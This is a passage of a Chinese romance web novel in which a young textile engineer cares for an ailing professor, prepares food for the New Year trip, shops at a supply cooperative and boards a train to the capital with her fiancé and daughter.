我才是最漂亮的小姑娘 “舒教授,您躺着,我过来看看,您这边还有什么需要的没有。” 姜海棠坐在舒启华的旁边,轻轻握住她的手。 “顾教授不在,您这边有不舒服的地方,一定要及时给我们说。”她的声音温柔而关切,眼神中满是担忧。 “就是这几年落下的老毛病,养养就好了。” “吃的喝的和药都有人送来,你就别操心了。看看你这眼睛熬的,你可不能仗着年轻熬坏身体。” 她的反握着姜海棠的手眼神中满是心疼与责备。 “最近为了解决固色的问题,是有点累。马上就要过年了,想着抓紧时间忙完才好安心过年。” 姜海棠轻语气中带着一丝疲惫,不过面上都是欢喜。 “你过年要去哪里?”舒启华问,她的眼神中带着好奇与关切。 姜海棠是孤家寡人,没有亲人,应该没有地方可以去。 “我过年跟陆良辰去京城。” 姜海棠没瞒着舒启华,说话的时候,她的嘴角不自觉地扬起一抹幸福的微笑。 “这是要见家长了啊,好啊。”舒启华温柔的笑着,眼中满是欣慰。 “陆厂长这个人不错,你是个有福气的。”她轻轻拍了拍姜海棠的手。 “嗯,我知道,我只是担心……”姜海棠的眼神中闪过一丝忧虑。 “你担心他家里人不喜欢你?”舒启华哪有看不明白的。 她轻轻的摩挲姜海棠的手说:“你是个很好的姑娘,不用担心他们不喜欢你。何况,陆厂长是个有担当的人,就算他家里不喜欢,他也能护着你。” 她的声音温柔,但仿佛给姜海棠一颗定心丸,让姜海棠心里的那点忐忑逐渐消失。 舒启华心里叹息,好好的姑娘,被祸害的变成了离婚妇女,陆厂长家里人未必能接受这一点。 这段时间,她在厂里生活,虽然和人接触的比较少,但多少也听到了一些关于李家的事儿。 李家这一家子,根本就不是什么好人,连个十几岁的小丫头,都不干人事儿。 李胜利就更不说了,她虽然只见过一次李胜利,可是那阴鸷的眼神,她好多天都觉得不舒服。 可见,这一家子人是从根子上烂掉了。 “海棠啊,去见长辈,礼物都准备了没有?”舒启华关切地问道。 舒启华担心,姜海棠年轻,这些方面可能会考虑不周到,她不得不提醒。 “准备了一些,不算贵重,但这是我的心意。”姜海棠认真地说。 她准备了一些布料,一些肉,还有一些优质的毛线,虽然都不太贵重,但是她用心准备了。 舒启华点头说:“你说的不错,重在心意,他们那样的家庭,应该不缺什么,就看心意。对了,海棠,你们什么时候走?” “后天一早的火车,我就是放不下您这边。”她的眼神中满是不舍与担忧。 舒启华笑着说:“你不用担心我,我这里好着呢,放心去,等你回来,我的病也好了,咱们还能一起干。” 她的脸上带着鼓励的笑容,姜海棠似是又看到了上辈子那个鼓励她勇敢努力的头发已经花白的舒教授。 上辈子的舒教授,对她来说,亦师亦友亦母一般的存在。 “好,我回来了,咱们一起加油。” 两个人又说了几句闲话,姜海棠这才告辞离开。 回到家里,姜海棠去刘红梅家里将小桃子接回来,就开始做饭。 厨房里,两颗削了皮的土豆白生生的,被她切成均匀的细丝,闪着晶莹的光泽。 一把青嫩的蒜苗,被她改刀切段…… 小桃子叽叽喳喳地讲述在刘红梅家里的趣事,姜海棠听着嘴角不自觉地扬起笑容。 晚饭是白米饭,酸辣土豆丝,还有一盘鸡蛋炒蒜苗。 蒜苗是她自己在屋里插的一盘蒜剪下来的,青嫩的颜色在冬天显得格外亮眼,仿佛一抹春天的气息。 陆良辰回到的时候,晚饭刚做好。 他推开门,一股饭菜的香气扑面而来,让他疲惫的身心瞬间得到了慰藉。 “有些日子没吃一顿热乎饭了。” 陆良辰脱下军大衣,挂在衣架上,语气中带着一丝感慨。 早就预想到这个厂长不好当,但也没想到,竟然如此艰难。 “你那边忙的怎么样了?”姜海棠问,一边将碗筷摆好。 “明天应该能忙完,剩下的交给谭书记盯着,赵凯不回去,厂里不至于出大事。” 陆良辰带着小桃子洗手,一边回答姜海棠的话。 饭桌上,小桃子欢快地吃着饭,有爸爸妈妈一起陪伴的小桃子不时发出满足的笑声。 姜海棠和陆良辰相视一笑,这一刻的温馨,仿佛能驱散所有的阴霾。 饭后,厨房里的水流哗哗,陆良辰将最后一只碗仔细冲洗干净,利落地叠放进碗柜。 收拾妥当,陆良辰走进客厅,看见姜海棠正坐在沙发上,手中的毛线针轻快穿梭。 大红色的毛线在她指尖勾勒出小帽子的形状,针脚细密而均匀,那是她特意为小桃子去京城准备的。 岁月静好,陆良辰想着,自己要是现在说些煞风景的话,会不会不好。 但最终,他还是拉过一张凳子,坐在了姜海棠的对面。 姜海棠抬头,正对上陆良辰严肃的神情,不由愣了一下。 她轻轻放下手中的毛线,挺直脊背,双手交叠放在腿上,像个等待老师训话的学生。 这副乖巧的模样让陆良辰原本准备好的严厉话语卡在喉咙里,语气不自觉地柔和下来。 “海棠,你今天太莽撞了。” 姜海棠垂眸,手指无意识地绞着衣角,想起今天在厂里的情景,心有余悸。 当时实验失败,她满脑子都是找出问题所在,完全忽略了潜在的危险,直接跑到了仓库。 她忘了,那些心怀不轨的人,在利益面前,什么事都做得出来。 “厂子里最近不安全,你是知道的,”陆良辰眉头紧皱,眼中满是担忧,“你就不怕那些人狗急跳墙?遇到这种事,你应该先来找我。” “我错了,良辰。”姜海棠抬起头,眼神诚恳,乖巧认错,“以后我不会再这样莽撞了。” 她心里清楚,自己的冲动不仅让自己陷入危险,更让陆良辰担心。 看着姜海棠认错态度如此诚恳,陆良辰也不好再继续责备,只是郑重地强调:“以后千万不能让自己置于危险中。” 姜海棠连忙点头,眼神温柔而坚定:“我记住了。” “还有,”陆良辰思索片刻,继续说道,“你锻炼的强度可以增加一些。等你的体能和格斗技术锻炼起来,就算遇到危险也能更好地自保。” 其实姜海棠现在的身手已经不错,能徒手对付两个大男人,但陆良辰总觉得还不够,他希望她能有足够的能力保护自己。 姜海棠本想说自己的实力不错了,可看着陆良辰满脸的关切,到嘴边的话又咽了回去,只是乖巧地再次点头。 “我知道了,我以后会好好锻炼的,一定不会让自己有危险。” 说着,她伸手隔着茶几陆良辰的手,掌心的温度传递着安心与依赖。 小姑娘仰起头,小巧白皙的脸上绽放出甜甜的笑容,眉眼弯弯,如同一弯月牙。 陆良辰看着眼前的人,原本严肃的神情再也维持不住,心中满是柔软。 他回握住姜海棠的手,转身走到姜海棠旁边坐下,声音低沉而沙哑:“真想马上就把你娶进门。” 姜海棠调皮地眨眨眼,嘴角勾起一抹坏笑:“陆厂长可不能带头违法哦!” 陆良辰轻轻捏了一下她的脸,触感细腻滑腻。她的皮肤比起刚到城里时,白皙娇嫩许多,甚至比城里许多养尊处优的姑娘还要好。 “真是拿你没办法。”他无奈又宠溺地说。 那滑腻的触感,让陆良辰心猿意马起来。 他觉得自己的自制力好像越来越差了,再不把心中的人娶进门,他担心自己会压制不住心底的渴望。 姜海棠可不知道只是捏脸而已,就让陆良辰心猿意马。 姜海棠轻轻靠在陆良辰的胸膛上,听着他沉稳的心跳声,心中却泛起一丝不安。 “要是,你的家里人不喜欢我怎么办?” 虽然她一直努力让自己变得更好,但面对未知的长辈,还是难免有些忐忑。 她是个孤儿,还曾经有过一段无名无实的婚姻,陆家的长辈们会不会因此嫌弃她? 陆良辰立刻察觉到她的不自信,将她搂得更紧。 “我的家里人很开通的,你放心吧。就算他们真的不喜欢你,我也能护着你。” 他在心里默默想着,也不知道胡厂长那边有没有见到自己的父母,有没有提起海棠的事。 “我相信你。” 姜海棠点头,心中的不安消散了一些。她忽然想起一直以来的疑惑,抬起头。 “良辰,我刚到城里的时候,就是一只丑小鸭,你为什么能看上我?” 那时的她,皮肤黝黑粗糙,穿着破旧,整个人毫无光彩,应该没有魅力让陆良辰这样出色的人一见钟情。 陆良辰陷入回忆,眼神温柔。 第138章 去供销社 “眼神,第一眼看到你的眼神,我就看到了你和命运抗争的不屈和决心。” 他还记得,姜海棠站在人群中,虽然衣衫破旧,但双目黑亮有神,透着一股不服输的劲儿,甚至连她撕扯李胜利的时候,眼里都闪着对未来的希望光芒。 “我那天的表现,应该很糟糕吧?”她迟疑地问。 姜海棠想,如果当时知道会在那种场合被未来的心上人看到,她应该会表现得更好一些。 “你表现得很好,你勇敢说出离婚两个字,我更觉得你和一般的女人不一样。”陆良辰笑着夸奖。 “后来的接触中,我看到了你的勤劳能干和聪明,”陆良辰的手指轻轻划过姜海棠的脸颊,“就不由自主地被你吸引了。” “我那时候不漂亮。”姜海棠笑着说。 “你那时候只是被风吹日晒的皮肤黑,不是不漂亮。”陆良辰轻轻地捏着她的耳朵,“我以前是当侦察兵的,观察人更注重骨相,你骨相很漂亮。” “真的吗?”姜海棠有些不敢相信。 陆良辰用大手捧住她的小脸,目光温柔而专注:“你自己看看镜子,还觉得你不漂亮吗?” 他的眼底眉间,满是深情与宠溺,“我家棠棠,是最漂亮的小姑娘。” 两人正沉浸在甜蜜的氛围中,小桃子哒哒哒地跑了过来。 她叉着腰,气鼓鼓地说:“爸爸说得不对,妈妈说了,小桃子是最漂亮的小姑娘。” 那奶凶奶凶的模样,可爱极了。 陆良辰故意逗她:“妈妈是最漂亮的小姑娘。” 小桃子瞪大眼睛,气呼呼地看着他,一副你不改口就不罢休的样子。 陆良辰忍不住笑了,将小桃子抱起来放在腿上,捏着她的鼻子说:“我们小桃子是最漂亮的小宝宝,等长大了才是最漂亮的小姑娘。” 小桃子歪着脑袋,认真思考了一会儿,觉得好像有哪里不对劲,可又说不上来,最后索性不想了。 反正最漂亮的小宝宝也是最漂亮的,她开心地笑了起来,眼睛弯成两颗小月牙。 姜海棠看着小桃子,眼底的笑意更加浓了。 小桃子突然想起什么,兴奋地问:“爸爸,我们什么时候去坐‘呜呜呜’的大火车?” “后天早上,”陆良辰摸摸她的头,“一路上会很累,小桃子怕不怕?” “二娃哥哥说,小桃子是最勇敢的小姑娘,小桃子不怕。”小桃子挺起胸膛,语气十分坚定。 “我们小桃子是最棒的宝宝。” 姜海棠想着既然要出发了,是不是应该再买点东西带上,遂开口问:“你要不要再去买点儿东西,咱们去京城的时候带给长辈们?” 陆良辰摇头:“你准备的已经够了,多了不好带。再说了,家里该准备的都准备了,咱们只需要回去过年就行。” 姜海棠没有勉强,听陆良辰的肯定没错。 “固色实验成功了,我明天就开始休假了。我想着准备些吃食,我们路上吃,顺便也给顾教授和舒教授准备些过年的食物。” “好,我明天还有些事,忙完争取提前回来帮你。”姜海棠笑着说。 “不用,你一个大男人,帮不上忙。”姜海棠调侃道,“对了,我明天早起去买肉,等小桃子醒来,我没回来你先送她去隔壁。” “我明天带着小桃子去上班,你放心去买肉。”陆良辰说着将钱包里的钱票都拿出来塞到姜海棠手里,递给姜海棠:“这是肉票和钱,你拿着。” 姜海棠忙摆手:“不用了,钱和票我手里有。” “你管着我的吃喝呢,我的票和钱都应该给你。我已经留了生活费,够用了,这些是家用,该给媳妇管。”他压低声音,在姜海棠耳边轻声说。 那低沉的嗓音和热热的气息,姜海棠耳朵瞬间红了。 姜海棠的耳朵瞬间红了,心跳也加快了,她嗔怪:“还没结婚呢,谁是你媳妇。” “除了你,还能是谁?海棠,我们很快就要结婚了,你提前适应下管家的生活。” 陆良辰趁着姜海棠有点意乱情迷的时候,将钱票都塞到她的手里。 客厅里,暖黄的灯光洒下,三人的欢声笑语交织在一起,温馨而美好。 翌日一早,姜海棠就去了供销社。 供销社里人比平时还多,每个柜台前几乎都排了长长的队伍。 此起彼伏的交谈声、算盘噼啪作响的声音,混着空气中若有若无的红糖香气、干果香味,将供销社挤得满满当当。 姜海棠穿着厚厚的棉衣站在屋里,没一会儿竟被蒸腾的热气烘出薄汗。 布料柜台前,几个婶子踮着脚,抻着脖子朝里张望,一边用袖口擦着额头的汗,一边念叨。 “可别把大花布卖完了,我家闺女等着裁新衣裳呢!”梳着油亮发髻的婶子攥着布票直跺脚,粗布棉鞋在地上蹭出沙沙声响。 “我要买靛蓝的,给家里老人做一身新衣服。”和她一起的婶子说道。 “你这个料子不缺,哎,你听说没,最近百货大楼卖的啥羊毛衫的,可漂亮了,可惜抢不到。” “我听说很贵呢。” “是贵,可那是羊绒嘞,我寻思,等过完年,要是能抢到,给我家姑娘准备一件。” 姜海棠听着,觉得羊毛衫的生产还应该抓紧,目前的这点生产量,连金城本地都不能保障。 姜海棠一面寻思有没有加快生产的办法,一面朝着食品区挤去。 很快,她找到了食品区,站在卖肉的柜台前面开始排队。 旁边是糖果区,一个扎羊角辫的小女孩哈着白气盯着花花绿绿的水果糖,扯着母亲的袖子:“妈妈,你别忘了哦,我要我要橘子味的!要橘子味的!” 小姑娘的红头绳随着动作晃来晃去,姜海棠想起小桃子,嘴角不自觉扬起笑意。 她想着,等下也去糖果区排队,给小桃子买点糖果,小家伙最喜欢橘子味的水果糖,每次含在嘴里都要眯起眼睛哼歌。 正思索间,门口传来喧闹声,几个汉子扛着整扇猪肉挤进来,人群顿时骚动起来。 此起彼伏的“让让”“借过”声里,排队的人群出现了小范围的拥挤和推搡。 姜海棠下意识护紧内袋里的票证,却见前面的大爷因被推搡踉跄着要摔倒。 她眼疾手快扶住老人,还帮他捡起散落的钱票。 泛黄的肉票和带着体温的粮票被风掀起一角,姜海棠蹲下身仔细叠好,然后递给大爷。 “大爷,您拿好,人多,要注意安全。” “哎呀,姑娘,谢谢你,要不是你,老头子今天可要遭罪了!“大爷布满皱纹的手颤抖着接过票证,浑浊的眼睛里都是诚挚的笑。 刚才他都以为自己要摔倒了,没想到遇到这么一位善良的姑娘。 “应该做的,您别客气。”姜海棠笑着,搀扶着大爷重新排好队伍。 随着猪肉上了柜台,队伍重新恢复秩序。 虽然排队的人多,但队伍前进的速度不慢,很快,就轮到了姜海棠。 柜台后悬挂的灯泡在猪肉上投下暖黄的光晕,姜海棠看了一下柜台上,除了新鲜的猪肉,还有裹着冰霜的牛肉和带着膻味的羊肉。 她想了想,开口说:“同志,要五斤猪肉,三斤羊肋条,再切两斤牛腩。还有这个猪排骨卖吗?” “嘶——”周围响起抽气声。 虽然快过年了,家家户户都来买肉,可一口气买十斤的还真少见。 几个大嫂交头接耳,目光像探照灯似的在她身上扫来扫去。 给姜海棠称肉的是个年轻小伙子,看着不过二十二三岁的模样。 “卖,不要票,一斤六毛钱,你要吗?” “除了我要的肉,再给我称三斤排骨。”姜海棠立即拿出钱票交给一旁收钱的人。 周围的人已经麻木了,这姑娘,不光不缺票,还不缺钱啊。 “好嘞!”年轻小伙子手脚麻利地给姜海棠切肉称肉,那动作熟练得不得了,切下来的肉更是和姜海棠要的数量完全一样。 姜海棠都不得不感慨一句,原来真的是行行出状元啊。 “姜工今天也来买肉啊。”隔壁糖果柜台的李大姐这时候也看到了姜海棠,笑着打招呼。 姜海棠忙说:“李大姐,今天您当班啊。” 李大姐是谭书记的儿媳妇,和姜海棠也算熟悉,她记得李大姐平时负责仓库调度,鲜少在柜台露面。 “是啊,最近人多。柜台这边忙不过来。” 李大姐冲她眨眨眼,将一摞牛皮纸包好的糕点码放整齐。姜海棠瞬间明白了——春节物资紧张,连管理层都要下来支援一线。 说了两句,姜海棠拎着沉甸甸的肉退了出去,去糖果柜台排队。 给姜海棠称肉的小伙子擦着汗问道:“李大姐,你认识这姑娘?” 他目光追着姜海棠的背影,心里暗暗咂舌。 现在物资紧缺,普通工人每月才半斤肉票,能拿一斤肉票的都算待遇不错了,除非是特殊工种,才会补贴高一点。 可刚才这个姑娘,一次拿出十斤配额。看她年纪轻,应该还没有结婚吧? 李大姐看了一眼,瞬间明白了小伙子的心思。 第139章 刚有恋爱的心就失恋 难怪方才小武这小子直接把那么大的一块排骨给了姜海棠。 要知道,排骨虽然肉少,可是不要票啊,没点儿关系,还真买不到。 只可惜啊,小伙子注定了要失望。 她压低声音说:“小武啊,她是纺织厂最年轻的工程师,你别看她年龄小,待遇可不低,而且,是特殊人才,有额外补贴。” 整体来说,就一句话,小武这个供销社售货员的工作虽然不错,但和姜海棠,不能比。 小武听了,短暂的迟疑后,又兴致勃勃:“李大姐,你很了解她?” 他虽然在和李大姐说话,但手下的刀却没停,每一刀都能精准地沿着猪骨缝切下肋排,动作娴熟得像台精密仪器。 一刀刀下去,一个个客人顺利被打发,两个人的对话还在继续。 李大姐一边给顾客称高粱饴,一边压低声音说:“纺织厂没人不知道姜工的厉害,最近火爆的不得了的羊毛衫,也是她设计出来的,羊绒线也是她改良的。上个月厂里还给她发了专项津贴,听说能抵普通工人半年工资。” 小武听到姜海棠如此出色,不光不退缩,反而更加有兴趣了。 而且,周围也有几个小伙子听到这话之后,也竖起了耳朵动了点活泛的心思。 穿军大衣的小张凑过来打趣:“小武,人家可是技术骨干,你这供销社售货员的铁饭碗,够得着吗?” 小武涨红着脸挺起胸膛说:“我这样的还不怎么样?我爸是机械厂保卫科长,我每月工资也有三十六块五。” “就你这条件,比姜工的对象差多了。”李大姐将包好的水果糖糖递给顾客,语气带着长辈的调侃。 小武的菜刀重重落在案板上,发出闷响:“李大姐,您不骗我吧?” “我骗你干啥?人家对象是比你厉害。” 小武觉得,自己家世好,长得好,工作好,身体也好啊! “她对象方方面面都好,你真比不了。而且,姜工和她对象关系好着呢。我说句不中听的,咱们供销社虽然好,但就个人来说,再努力好几年都未必能追得上姜工的对象。” 李大姐这话算是说得非常直白了,刚动了心思就失恋的小武同志蔫头耷脑地偃旗息鼓了。 就连周围几个虎视眈眈的小伙子也偃旗息鼓了。 他们的心里都有一个想法,这么漂亮的一个年轻小姑娘,怎么就有对象了? 小武抬头看过去,不远处的队伍里,姜海棠刚才扶起一个跌倒的小姑娘。 李大姐也看到了,努努嘴说:“看看人家,本事大还待人善良,这才叫新时代的好姑娘。” 姜海棠冒着寒风采购归来,手中的篮子沉甸甸的,一路上拎着回来,还真有点累。 看看手表,已经快要十一点了,姜海棠顾不得疲惫,立即去隔壁找小桃子。 推开房门,屋内传来孩子们欢快的笑声,小桃子正和哥哥姐姐们玩得不亦乐乎,小脸涨得通红,全然没有要离开的意思。 孔大娘坐在窗边,手中的针线上下翻飞,正专注地纳着鞋底。 听到小桃子不愿走,她抬起头,脸上带着和蔼的笑容:“海棠,你先回去,等下我把小桃子给你送过去。” 姜海棠只好道谢之后先回家,一进家门,她迅速投入到忙碌的准备工作中。 她将羊肉仔细清洗干净,放入砂锅中炖煮。这些羊肉,除了中午吃之外,剩下的她打算送给舒教授和顾教授。 两位老人这几年身体亏空的厉害,羊肉滋补,多吃点对他们的身体大有好处。 牛肉被她计划做成牛肉酱,带到路上夹着馒头和饼子吃,方便食用。 至于猪肉,她准备做成炸丸子、炸夹沙、炸小酥肉,不仅能在路上解馋,还能带到京城,就是不知道,陆家人会不会嫌弃。 羊肉下锅,姜海棠便开始处理牛肉。 她握着菜刀,一下一下地将牛肉剁成细碎的颗粒,动作娴熟却也费力。 随后,她又开始剁猪肉,为制作丸子和夹沙准备肉馅。 虽然过程辛苦,但姜海棠很高兴,以往过年,李家人工分少,能分的肉更少,别说吃丸子,就是年三十晚上吃一顿饺子就不够。 她每次都包两种饺子,一种肉馅的,一种素馅的,那些素馅的她吃,省下肉给李家三口人。 今年摆脱了李家那些白眼狼,日子真是越过越好了。 不多时,肉都处理好了,羊肉也炖得差不多了,浓郁的香气弥漫在整个厨房。 姜海棠从面袋子里舀面和面烙饼,玉米面与白面混合,在她的巧手下,变成了一个个金黄酥脆的饼子,香味四溢。 饭菜还没出锅,陆良辰回来了。 他脱了厚厚的军大衣,换上家里穿的小棉袄,一边洗手一边问道:“海棠,你今天都买了什么?” “我买了猪肉、牛肉和羊肉。羊肉咱们炖了吃,牛肉做肉酱带到车上吃,不腻。”姜海棠擦了擦手说道:“猪肉我要炸丸子和夹沙,再炸一点小酥肉。” “准备这么多,咱们明天就出发,吃不完吧?”陆良辰有些惊讶地问。 这次他们要离开半个月,这么多食物确实有些多了。 “羊肉我们中午吃,剩下的给顾教授和舒教授送过去。”姜海棠解释道。 “你想得周全,我等下再安排一下,让食堂那边关照点儿。”陆良辰说道。 “那我就更放心了。”姜海棠笑道。 陆良辰看着姜海棠,心中既感动又疑惑:“你对他们两位是真的好,就像是闺女对父母一样,是真心的。” 他其实也觉得奇怪,姜海棠怎么会对他们如此敬重和爱护。 但他相信,姜海棠不管做什么,都是有理由的。 “他们值得!”姜海棠坚定地说。 在这个特殊的年代,舒教授和顾教授虽然身处困境,但他们依然坚守着自己的学术理想,给予了姜海棠许多帮助和指导。 加上上辈子,两位老人是真心疼爱过走投无路的她,在姜海棠心中,他们就如同自己的长辈一般。 “我下午帮着你做。”陆良辰说着,看到案板上已经剁好的肉馅,“剁肉这种费力气的活儿,你留着我来就行。” “顺手的事儿,这不都已经剁好了。你下午不上班了?”姜海棠笑着说。 “不上了,休息。咦,小桃子呢?”陆良辰这才发现,宝贝女儿居然不在。 “这丫头,玩野了,在隔壁呢。”姜海棠笑着说。 “我去接她回家吃饭。”陆良辰转身去了隔壁。 吃完饭,姜海棠便马不停蹄地开始炸丸子、炸夹沙、炸小酥肉。 油锅里滋滋作响,金黄色的丸子一个个浮起,香气扑鼻。 炸完后,她倒出一部分油,利用剩下的锅底开始炒肉酱。考虑到路上小桃子也要吃,她特意炒了不辣的肉酱。 忙完这一切,已经到了下午。 姜海棠将羊汤装在一个盆子里,用绳子捆绑结实后,装在网兜里,小心翼翼地朝着舒启华的屋子走去。 舒启华正坐在桌前看书。 看到姜海棠进来,她连忙站起来:“海棠,你来了?” “我买了羊肉,我炖了汤给您送点儿过来,您和顾教授都要补补。”姜海棠笑着说。 “我们从到了厂里能吃饱能穿暖,身体已经好了许多了,你可别总操心我们,自己的日子要紧。这些羊汤,你带回去。”舒启华连忙推辞道。 姜海棠坚持道:“我们明天就要走了,羊汤也没办法带在路上喝,您就留下吧,也不是多金贵的东西。” 舒启华拗不过姜海棠,只好收下。 她感动地说:“要是将来有平反的一天,我不会忘了你的恩情。” “舒教授,您说这个话就见外了,什么恩情不恩情的啊,以后可不能再说了。”姜海棠连忙说道。 等姜海棠离开后,舒启华发现,姜海棠不光送了羊肉羊汤,还有一包炸丸子。 看着这些充满心意的食物,舒启华的眼睛不由湿润了。 姜海棠的关怀,如同一束温暖的阳光,照亮了她灰暗的生活。 翌日一早,天还未完全亮,小吴便开着车来接陆良辰、姜海棠和小桃子去火车站。 小桃子趴在窗边,兴奋地数着电线杆,清脆的声音充满了童真:“一根、两根、三根……” 小吴从后视镜里看着玩得开心的小桃子,感慨道:“这才几个月时间,小家伙和当初比起来,全然不同了。” 记得小丫头刚接过来的时候,瘦得皮包骨头,眼神怯生生的,也不说话,只是乖乖巧巧地坐在姜海棠的怀里。 如今,她不仅长肉了,变得漂亮可爱,性格也活泼淘气起来,这才是一个小孩子应该有的样子。 “本来就是个活泼的性格。”姜海棠脸上洋溢着温柔的笑容,眼中满是慈爱。 “还是陆厂长和嫂子你们照顾的好。”小吴称赞道。 这时,小桃子忽然开口问:“爸爸,京城冷不冷啊?” 陆良辰想了一下,耐心地说:“和金城差不多,风呼呼地刮。不过,咱们去了有暖气,不会冻着我们家小桃子的。” 他知道,京城的暖气可比厂里的好多了。厂里虽然也有暖气,但热度不够,很多人家还得靠着煤炉子取暖。 “好耶,好耶。”小桃子欢呼起来,又被窗外的景色吸引,目不转睛地看着。 陆良辰看向姜海棠,说道:“胡叔安排,让把你最近的研究成果都带上了,他要给你请功。” 第140章 妈妈是神笔马良吗 姜海棠手一抖,惊讶地说:“你怎么都没提前给我说。” “海棠你不愿意吗?”陆良辰的心一下子悬了起来。 “不是,只是,如果你早点说,我还能重新整理一下。”姜海棠有些忐忑地说。 她真的很担心,自己的这些研究成果会不会不够好。 “你的研究数据已经很好了,不需要整理。”陆良辰悬着的心放下了,笑着安慰她,“没事,我们带过去就行,如果有问题,胡叔那边会找我们。” 姜海棠仔细一想,确实是这么回事,心中的不安稍稍缓解了一些。 说话间,车已经到了火车站。站台上人潮拥挤,人们提着大包小包,脸上或带着归乡的喜悦,或带着离别的不舍。 小吴帮他们将行李搬下车,又买了一张站台票,帮他们送上火车。 “这是我娘让我给你们带的,陆厂长,我娘说,让你们路上吃。”将行李安置好后,小吴把一直拎着的一个包交给陆良辰。 “你带回去,我们带的东西够吃了。”陆良辰正色推辞道。 “这是我娘交给我的任务,我可不敢带回去。”小吴嬉笑着迅速转身下了火车。 “等我们回来,给小吴娘带点儿特产还礼就行。”姜海棠接过包,放在脚底下,对陆良辰说。 这次去京城,陆良辰托关系买了两张卧铺票,相较于拥挤嘈杂的硬座车厢,卧铺车厢显得安静舒适许多。 他们上车比较早,除了他们的下铺,其余铺位上的人还未上车。 小桃子好奇地打量着车厢里的一切,眼中满是新奇:“爸爸,这是床吗?我们可以在上面睡觉吗?” 陆良辰抱起小桃子,让她看上面的铺位,耐心地解释着。 这时,姜海棠去接了热水回来,给小桃子冲了点奶粉。 “来,小桃子,下来喝点奶粉好不好?” 今天早上出门早,小桃子还没喝奶粉。 自从把小桃子接回来,姜海棠和陆良辰便十分用心地照顾她,每天都要给她喝三顿奶,有牛奶的时候喝牛奶,没有牛奶的时候就喝奶粉,这才让原本瘦弱的小桃子渐渐有了肉。 小桃子乖巧地坐下来,捧着杯子开始喝奶:“奶粉好甜,我喜欢。” 小桃子是个十分能给人提供情绪价值的孩子,边喝奶边夸奖着奶好喝,听得两个大人忍俊不禁。 汽笛声响起,火车缓缓启动,随后开始加速。 窗外,雪花纷纷扬扬地飘落,天地间一片苍茫。 火车里的温度虽然不高,小桃子喝完奶后,姜海棠便将她安顿到铺位上,细心地给她盖上被子。 小桃子却毫无睡意,缠着姜海棠和陆良辰讲故事。 姜海棠将这个任务交给了陆良辰,自己则拿出一个笔记本,开始写写画画起来。 “海棠,你忙什么呢?”陆良辰好奇地问。 “咱们羊毛衫已经上市了,效果很不错,我想着,可以再设计几个新花样,总不能,就生产一种式样的羊毛衫吧。”姜海棠头也不抬地说道。 听到是正事儿,陆良辰也不打扰姜海棠,而是清了清嗓子低声给小桃子讲故事。 火车在铁轨上有节奏地晃动着,窗外的雪景飞速后退,像一幅流动的水墨画卷。 小桃子睁着圆溜溜的眼睛,听《神笔马良》的故事听得入迷,还不时模仿着马良挥动画笔的动作。 “爸爸,等我长大了,也要当神笔马良。” 姜海棠沉浸在设计稿中,铅笔在纸上沙沙作响。 小桃子看到她正在画画,忽然又突发奇想地问:“爸爸,妈妈是神笔马良吗?” 陆良辰一愣,随即笑起来。 姜海棠也搁下画笔站起身在过道里活动,一边活动一边笑道:“妈妈可不是神笔马良。” 这时,隔壁铺位传来一阵咳嗽声,姜海棠转头望去,只见一位头发花白的老太太正用手帕捂着嘴,身旁的年轻女子一脸担忧地轻拍着她的背。 “奶奶,您先喝点水润润嗓子,等下车,咱们就去医院买药。”年轻女孩子端着水杯喂老人喝水。 姜海棠走过去,轻声询问:“大姐,老人家这是怎么了?我带了些常用药,或许能帮上忙。” 年轻女子抬起头,眼中满是感激:“谢谢同志,我奶奶这是老毛病了,一遇着凉就咳嗽不止。” 姜海棠回到铺位拿来止咳糖浆,又帮着倒了杯热水,看着老太太服下。 老太太缓过气来,拉着姜海棠的手,声音虚弱却透着真诚:“好孩子,谢谢你啊。你们这是去京城探亲?” 姜海棠笑着点头。 “我刚才路过的时候,看到你在画图,你在纺织厂工作吗?” 姜海棠道:“您老眼神真好,我是在纺织厂工作。” 老太太听后,感慨道:“我看着,你画的好像是毛衣的式样。” “大娘,这是羊毛衫的图样!”姜海棠解释。 年轻姑娘立即两眼闪闪发光:“羊毛衫,就是金城纺织厂最近生产出来的羊毛衫吗?大妹子你是金城纺织厂的?” 姜海棠点头。 老太太夸奖道:“现在的年轻人真了不起,我听说,羊毛衫很多人喜欢,抢都抢不到。我年轻那会儿也在纺织厂工作,那时候,可没现在这些。” “原来您老也是纺织厂的老工人呢。”姜海棠立即道。 “我叫陶玉和,这是我孙女赵晓梅,你叫我陶奶奶,叫她晓梅姐就行。” 姜海棠从善如流,几人越聊越投机,老太太从包袱里翻出个布包,里面是自家晒的果脯,非要分给小桃子吃。 小桃子捧着果脯,脆生生地道谢,惹得众人都笑了起来。 姜海棠也拿出自己准备的瓜子,几人围坐在一起,边嗑瓜子边聊天。 老太太分享起年轻时在纺织厂的趣事,讲起和工友们一起赶工的日子,虽然辛苦,却充满欢乐。 姜海棠听得入神,时不时请教一些纺织工艺上的老问题,老太太也耐心解答,还提出了不少独到的见解。 聊着聊着就到了中午。 这时候,火车正好到站,这一站要停十分钟,陆良辰带着小桃子下车。 姜海棠留在车上,老人和年轻女子也都留在车上。 三个人正说话,就看到祖孙三代大包小包的朝着他们这个方向走过去。 火车上人来人往也正常,姜海棠不以为意。 然而,这一家三口人却站在他们的铺位前面不走了。 “奶奶,我喜欢这里。”那小男孩指着小桃子刚才躺过的铺位说。 姜海棠立即看过去,铺位上还放着小桃子的小花被呢,估计这小孩子是看上这个花被子了。 还不等姜海棠开口,就听到那老年妇女开口:“那我们就在这里。” 说着话,那老妇人将身上背着的蛇皮袋子放在车厢地板上。 小男孩立即就朝着床铺上冲过去。 “同志,这是我们的铺位。”姜海棠一把将小男孩扯住。 小男孩没有如预期地扑到床铺上,立即挣扎起来。 “哎哟!你干嘛拉扯我孙子!” 那老年妇女像被踩了尾巴的猫,尖厉的声音瞬间刺破了车厢的嘈杂。 她一步抢上前,干瘦但有力的手猛地拍向姜海棠扯住她孙子的胳膊,力道不小,带着常年劳作的粗糙和蛮横。 姜海棠只觉得小臂一麻,下意识松了手。 那小男孩得了自由,像条泥鳅一样哧溜一下挣脱,这回结结实实地扑到了铺位上,整个小身子都压在了那床粉嫩的小花被上,还得意地蹭了蹭。 “同志!这是我们的铺位!我们的票在这里!下铺,就这个位置!” 姜海棠只以为这三口人是找错铺位了,急忙从大衣的内袋里掏出几张硬板车票,展开举到老妇人面前。 那老妇人看都不看车票,浑浊的眼睛斜睨着姜海棠,叉着腰,声音拔得更高,带着浓重的地方口音。 